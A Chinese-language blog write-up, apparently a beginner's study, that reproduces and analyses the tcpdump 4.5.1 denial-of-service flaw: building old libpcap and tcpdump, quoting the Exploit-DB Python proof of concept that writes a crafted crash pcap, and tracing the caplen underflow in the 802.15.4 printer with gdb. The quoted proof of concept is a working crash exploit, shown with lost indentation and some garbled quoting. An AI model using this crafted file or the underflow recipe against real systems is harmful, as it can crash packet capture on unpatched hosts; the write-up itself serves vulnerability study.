tcpdump4.5.1拒绝服务漏洞复现分析

0x0 前言

新手开始学习二进制漏洞

选择这个开始学习,是因为这是一个网上有很多复现和分析文章的漏洞,即常见高频漏洞

分析文章:

https://www.freebuf.com/vuls/248394.html

https://www.anquanke.com/post/id/166711

https://bbs.pediy.com/thread-261984.htm

0x01 前置知识:
pcap包格式

https://www.winpcap.org/docs/docs_412/html/incs_2pcap_8h_source.html

pcap文件主要包含了三个部分,24字节的pcap文件头,16字节的数据包头,数据包内容。

image-20210714163152207

0x1 环境搭建

系统:kali 2021.2

0x11 tcpdump安装

当前版本查看:

image-20210714154436177

卸载:

1
apt-get --purge remove tcpdump

image-20210714154524975

安装依赖
1
2
apt install flex
apt install bison
安装libpcap
1
wget http://www.tcpdump.org/release/libpcap-1.5.3.tar.gz 

image-20210714154822298

1
2
tar -zxvf libpcap-1.5.3.tar.gz
cd libpcap-1.5.3

image-20210714154955786

1
./configure

image-20210714155033795

1
make & make install

image-20210714155127829

安装tcpdump
1
2
wget http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
tar -zxvf tcpdump-4.5.1.tar.gz

image-20210714155342417

接下来同上:

1
2
3
cd tcpdump-4.5.1
./configure
make & make install

装完之后查看版本:

image-20210714155539098

0x12 poc

https://www.exploit-db.com/exploits/39875

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS

from subprocess import call
from shlex import split
from time import sleep

def crash():

command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!"

def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()

if __name__ == "__main__":
main()

通过运行这个poc,我们可以获得一个crash文件

image-20210714160246743

0x13 crash文件

用winhex看一看这个crash文件

image-20210714161151520

对应pcap文件

0x2 漏洞复现

tcpdump

image-20210714163355396

1
tcpdump -r crash

image-20210714163544925

发生段错误。

wireshark

image-20210714164206440

0x3 漏洞分析

0x31 跟踪调试
安装gdb及常用插件peda/pwndbg
1
apt install gdb

image-20210714163905628

1
2
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py">> ~/.gdbinit

image-20210714165900100

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

image-20210714165918843

跟踪调试

用gdb打开

1
2
gdb tcpdump
gdb-peda$run -r crash文件

image-20210714170212005

image-20210714170252515

运行后可以看到寄存器信息等:

image-20210714170640606

image-20210714170801622

可以得知发生错误的原因:

1
2
error: Cannot access memory at address 0x5555557f7000
#无法访问地址 0x5555557f7000 处的内存

即访问了不可访问的地址而导致的程序崩溃

位置在print_ascii.c文件中的91行

使用bt语句查看函数调用栈:

bt:显示所有的函数调用栈帧的信息,每个帧一行。

image-20210714171537759

可以看到函数调用以及所在的文件情况:

文件位置 函数名
libc-start.c:308 __libc_start_main
tcpdump.c:1569 main
pcap.c:849 pcap_loop
savefile.c:409 pcap_offline_read
tcpdump.c:1950 print_packet
print-802_15_4.c:180 ieee802_15_4_if_print
print-ascii.c:91 hex_and_ascii_print_with_offset

接下来去tcpdump和libpcap的文件夹中取得上述文件,查看源码:

tcpdump.c:1569:调用了pcap_loop

image-20210714181754004

pcap.c:849:pcap_loop函数,调用了pcap_offline_read

image-20210714181831537

savefile.c:409:pcap_offline_read函数:

image-20210714182139084

这里面有一个callback,根据函数调用栈可以知道是调用了print_packet

tcpdump中的print_packet函数中,这里调用了ieee802_15_4_if_print

image-20210715170515455

在print-802_15_4的ieee802_15_4_if_print函数中,调用了ndo_default_print:

image-20210715170602361

通过搜索这个函数,我们可以看到里面调用了hex_and_ascii_print:

image-20210715171350065

hex_and_ascii_print直接调用了hex_and_ascii_print_with_offset:

image-20210715171624113

函数在print-ascii中:

image-20210715170659670

根据while,知道这是一个循环,就可以猜测原因大概是因为循环,s2越界访问了

可以看出循环与nshorts有关,根据86行代码:

1
nshorts = length / sizeof(u_short);

得知与length有关

一路向上寻找传入的length参数,根据以下调用:length就是caplen

1
(ndo->ndo_default_print)(ndo, p, caplen);

结合gdb单步调试和源码分析ieee802_15_4_if_print函数:

给ieee802_15_4_if_print函数下断点:

1
2
b ieee802_15_4_if_print
run -r crash

image-20210715180222023

然后s进入,可以继续单步n调试

查看变量此时的值:

image-20210715181224711

ieee802_15_4_if_print函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
ieee802_15_4_if_print(struct netdissect_options *ndo,
const struct pcap_pkthdr *h, const u_char *p)
{
u_int caplen = h->caplen;
int hdrlen;
u_int16_t fc;
u_int8_t seq;

if (caplen < 3) {//n步第一次,caplen = 0x8
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}

fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);//n步第二次,fc = 0xff40

seq = EXTRACT_LE_8BITS(p + 2);

p += 3;//n步第三次,hdrlen = 0x12
caplen -= 3;//n步第三次

ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));//n步第四次,caplen = 0x5
if (vflag)//n步第五次
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}


if (!vflag) {
p+= hdrlen;//n步第六次
caplen -= hdrlen;//n步第七次,caplen和hdrlen做了运算
} else {
u_int16_t panid = 0;

switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
p += 8;
break;
}
ND_PRINT((ndo,"< ");

switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
}

caplen -= hdrlen;
}

if (!suppress_default_print)//n步第八次,此时caplen=0xfffffff3
(ndo->ndo_default_print)(ndo, p, caplen);

return 0;
}

而0xfffffff3=-13

作为length传入之后,可以得到nshorts为‭7FFFFFF9‬(0xfffffff3/2)

变成了一个极大的值,而数据包并没有这么大,因此最终访问到未授权的内存地址。

所以这个漏洞就是因为tcpdump会根据caplen长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,造成拒绝服务漏洞。

0x32 poc

caplen是由于做了caplen -= hdrlen;操作变成了负数,才导致了后续nshorts变成极大的值

因此只要我们的caplen-hdrlen是负数就可以了,这样的包就会引发漏洞